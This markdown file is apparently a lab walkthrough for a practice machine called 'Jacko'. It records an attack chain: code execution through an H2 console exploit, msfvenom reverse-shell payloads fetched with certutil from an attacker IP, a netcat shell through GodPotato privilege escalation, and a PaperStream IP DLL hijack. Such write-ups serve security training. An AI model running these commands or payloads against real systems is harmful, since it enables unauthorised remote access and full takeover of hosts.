Jacko.md

We discover port 80

80

We can change password with the api on this JDBC

8082

We are presented with H2 console: We can change the database to something that doesn't exist and check: User tony found

We can try an exploit: https://www.exploit-db.com/exploits/49384 We got working code execution.

Now we can create a shell:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.236 LPORT=1234 -f exe > reverse.exe

now we can transfer this with:

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -f http://192.168.45.236/reverse.exe C:/Users/Public/reverse.exe").getInputStream()).useDelimiter("\\Z").next()');

Now to get the reverse shell back:

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:/Users/Public/reverse.exe").getInputStream()).useDelimiter("\\Z").next()');

Nothing works

Using full path:

C:\Windows\system32\whoami.exe /priv

We can also set the path:

set PATH=%PATH%C:\Windows\System32;C:\Windows\System32\WindowsPowerShell\v1.0;

We have SeImpersonatePrivilege so trying Godpotato:

.\GodPotato.exe -cmd "C:\Users\Public\nc64.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.236 9092"

We get a shell but it is a broken shell.

Alternate Method

We find an unusual program: Using the exploit for PaperStream IP https://www.exploit-db.com/exploits/49382 Now generate msfvenom payload:

msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=192.168.45.236 LPORT=9092

Transfer it to the machine:

certutil -urlcache -f http://192.168.45.236/shell.dll C:\Windows\Temp\UninOldIS.dll

Now run exploit:

.\paper.ps1